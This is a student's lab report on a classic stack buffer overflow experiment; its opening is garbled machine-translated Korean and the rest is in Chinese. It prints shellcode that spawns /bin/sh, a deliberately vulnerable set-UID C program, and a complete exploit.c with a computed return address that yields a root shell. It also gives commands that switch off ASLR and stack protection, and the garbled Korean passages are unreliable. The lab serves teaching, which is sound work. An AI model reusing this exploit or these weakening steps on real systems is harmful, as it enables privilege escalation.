2019-2020-11 20,199,304 주에서 "리눅스 커널 원리 및 분석은"11 일

버퍼 오버플로 취약점 실험

I. 서론

버퍼 오버 플로우가 고정 길이 버퍼에 데이터를 기입하기위한 예비 할당 된 프로그램을 시도 할 수없는 상황을 의미한다. 이 취약점은 제어 프로그램의 흐름, 코드 실행 심지어 어떤 단편을 변경하는 악의적 사용자에 의해 사용될 수있다. 데이터 버퍼 및 반환 주소의 임시 폐쇄, 오버 플로우가 반환 주소를 덮어 쓰기가 발생합니다 때문에이 취약점의 등장이다.

둘째, 실험 준비

시스템 사용자 이름 shiyanlou
이벤트를 64 비트 우분투 리눅스를 구축 실험실,하지만이 실험 조립 문을 참조하기가 어렵습니다, 우리는 32 비트 환경의 증언에서 작동해야하기 때문에 실험 전에 어떤 준비를해야합니다.

1, 입력 명령은 프로그램 컴파일 일부 패키지 (32)를 설치하는 C :

  • (1)$ sudo apt-get update

  • (2)$ sudo apt-get install -y lib32z1 libc6-dev-i386

  • (삼)$ sudo apt-get install -y lib32readline-gplv2-dev

2 명령 입력 linux3232 비트 리눅스 환경으로, 그리고 입력 /bin/bash배쉬을

셋째, 실험 절차

3.1 초기 설정

1, 우분투 등의 리눅스 시스템은 메모리의 정확한 주소가 매우 어려워진다 추측한다 (힙),하지만 투기의 임의 힙 스택 (스택)에 주소 공간 무작위 초기 주소의 사용은 메모리 어드레스 버퍼 오버 플로우입니다 중요한 공격. 따라서,이 실험에서, 우리는이 기능을 해제하려면 다음 명령을 사용하여
sudo는 sysctl을 -w kernel.randomize_va_space = 0

, 많은 쉘 프로그램이 2라고 버퍼 오버 플로우 공격과 쉘 프로그램을 사용하여 다른 공격에 대한 더 방지하려면, 자신의 권한을 제공합니다. 그래서, 당신은 설정-UID 프로그램을 속일 수없는 경우에도 루트 권한,의 / 빈 / bash는 구현이 보호 대책이 껍질에 남아있을 수 없다, 쉘을 호출합니다.

리눅스 시스템은 / 빈 / SH 실제로 / 빈 / bash는 또는 / 빈 /의 대시에 대한 심볼릭 링크입니다. 보호 조치가 시행되기 전에 조건을 재현하기 위해, 우리는 다른 쉘 프로그램 (zsh을) 대신에 / 빈 / bash는 사용합니다. 다음은 zsh을 프로그램을 설정하는 방법에 대해 설명합니다 :

$ sudo su

$ cd /bin

$ rm sh

$ ln -s zsh sh

$ exit

3.2 shellcode

一般情况下,缓冲区溢出会造成程序崩溃,在程序中,溢出的数据覆盖了返回地址。而如果覆盖返回地址的数据是另一个地址,那么程序就会跳转到该地址,如果该地址存放的是一段精心设计的代码用于实现其他功能,这段代码就是 shellcode。

观察以下代码:

#include <stdio.h>
int main()
{
    char *name[2];
    name[0] = "/bin/sh";
    name[1] = NULL;
    execve(name[0], name, NULL);
}

本次实验的shellcode,就是刚才代码的汇编版本:

\x31\xc0\x50\x68"//sh"\x68"/bin"\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80

3.3 漏洞程序

把以下代码保存为“stack.c”文件,保存到 /tmp 目录下。代码如下:

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int bof(char *str)
{
char buffer[12];
strcpy(buffer, str);
return 1;
}
int main(int argc, char **argv)
{
char str[517];
FILE *badfile;
badfile = fopen("badfile", "r");
fread(str, sizeof(char), 517, badfile);
bof(str);
printf("Returned Properly\n");
return 1;
}

通过代码可以知道,程序会读取一个名为“badfile”的文件,并将文件内容装入“buffer”。编译该程序,并设置 SET-UID。命令如下:

$ sudo su
$ gcc -m32 -g -z execstack -fno-stack-protector -o stack stack.c
$ chmod u+s stack
$ exit

GCC编译器有一种栈保护机制来阻止缓冲区溢出,所以我们在编译代码时需要用–fno-stack-protector关闭这种机制。 而-z execstack用于允许执行栈。

-g参数是为了使编译后得到的可执行文档能用gdb调试。

3.4 攻击程序及结果

  • 1.攻击

我们的目的是攻击刚才的漏洞程序,并通过攻击获得root权限。把以下代码保存为“exploit.c”文件,保存到/tmp目录下。代码如下:

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

char shellcode[]=

"\x31\xc0"    //xorl %eax,%eax
"\x50"        //pushl %eax
"\x68""//sh"  //pushl $0x68732f2f
"\x68""/bin"  //pushl $0x6e69622f
"\x89\xe3"    //movl %esp,%ebx
"\x50"        //pushl %eax
"\x53"        //pushl %ebx
"\x89\xe1"    //movl %esp,%ecx
"\x99"        //cdq
"\xb0\x0b"    //movb $0x0b,%al
"\xcd\x80"    //int $0x80
;

void main(int argc, char **argv)
{
char buffer[517];
FILE *badfile;
/* Initialize buffer with 0x90 (NOP instruction) */
memset(&buffer, 0x90, 517);
/* You need to fill the buffer with appropriate contents here */
strcpy(buffer,"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x??\x??\x??\x??");
strcpy(buffer+100,shellcode);
/* Save the contents to the file "badfile" */
badfile = fopen("./badfile", "w");
fwrite(buffer, 517, 1, badfile);
fclose(badfile);
}

由于实验环境无法粘贴文件,我们提供代码下载,大家可以先运行查看效果:
wget http://labfile.oss.aliyuncs.com/courses/231/exploit.c
注意上面的代码,\x??\x??\x??\x??处需要添上shellcode保存在内存中的地址,因为发生溢出后这个位置刚好可以覆盖返回地址。而strcpy(buffer+100,shellcode);这一句又告诉我们,shellcode保存在buffer + 100的位置。下面我们将详细介绍如何获得我们需要添加的地址。

现在我们要得到 shellcode 在内存中的地址

输入命令:


$ gdb stack

$ disass main



按 q 键,再按 enter 键可退出调试

根据语句 strcpy(buffer + 100,shellcode);我们计算 shellcode 的地址为 0xffffd1b0(十六进制) + 0x64(100的十六进制) = 0xffffd214(十六进制)

现在修改exploit.c文件!将\x??\x??\x??\x??修改为\x14\xd2\xff\xff
然后,编译 exploit.c 程序:$ gcc -m32 -o exploit exploit.c

  • 2结果
    先运行攻击程序 exploit,再运行漏洞程序 stack,观察结果:

可见,通过攻击,获得了root 权限!

四、练习

练习二:

通过命令”sudo sysctl -w kernel.randomize_va_space=2“打开系统的地址空间随机化机制,重复用exploit程序攻击stack程序,观察能否攻击成功,能否获得root权限。

从图上可以看出,攻击失败,没有获得root权限。

练习三:

将/bin/sh重新指向/bin/bash(或/bin/dash),观察能否攻击成功,能否获得root权限。

从图上可知,攻击失败,没有获得root权限。

实验总结:

缓冲区溢出攻击是利用缓冲区溢出漏洞所进行的攻击行动。缓冲区溢出是一种非常普遍、非常危险的漏洞,在各种操作系统、应用软件中广泛存在。利用缓冲区溢出攻击,可以导致程序运行失败、系统关机、重新启动等后果。但目前的系统是很难缓冲区溢出的,操作系统在这方面有很多的保护措施,本次试验成功的前提就是将保护机制关闭。
在实验阶段中,地址空间随机化来随机堆(heap)和栈(stack)的初始地址,这使得猜测准确的内存地址变得十分困难。因此需要关闭地址的随机化,固定地址,从而使得地址的猜测变得更加简单。攻击程序写一个badfile文件,将其中的一部分字节替换为之前计算好的字节,当漏洞程序读取badfile文件时,由于没有限制输入的长度,导致返回值被之前替换的字节覆盖,当程序返回时,跳转到了预先指定的地址,获得了root权限,完成了攻击。

추천

출처www.cnblogs.com/20199304lbs/p/11967029.html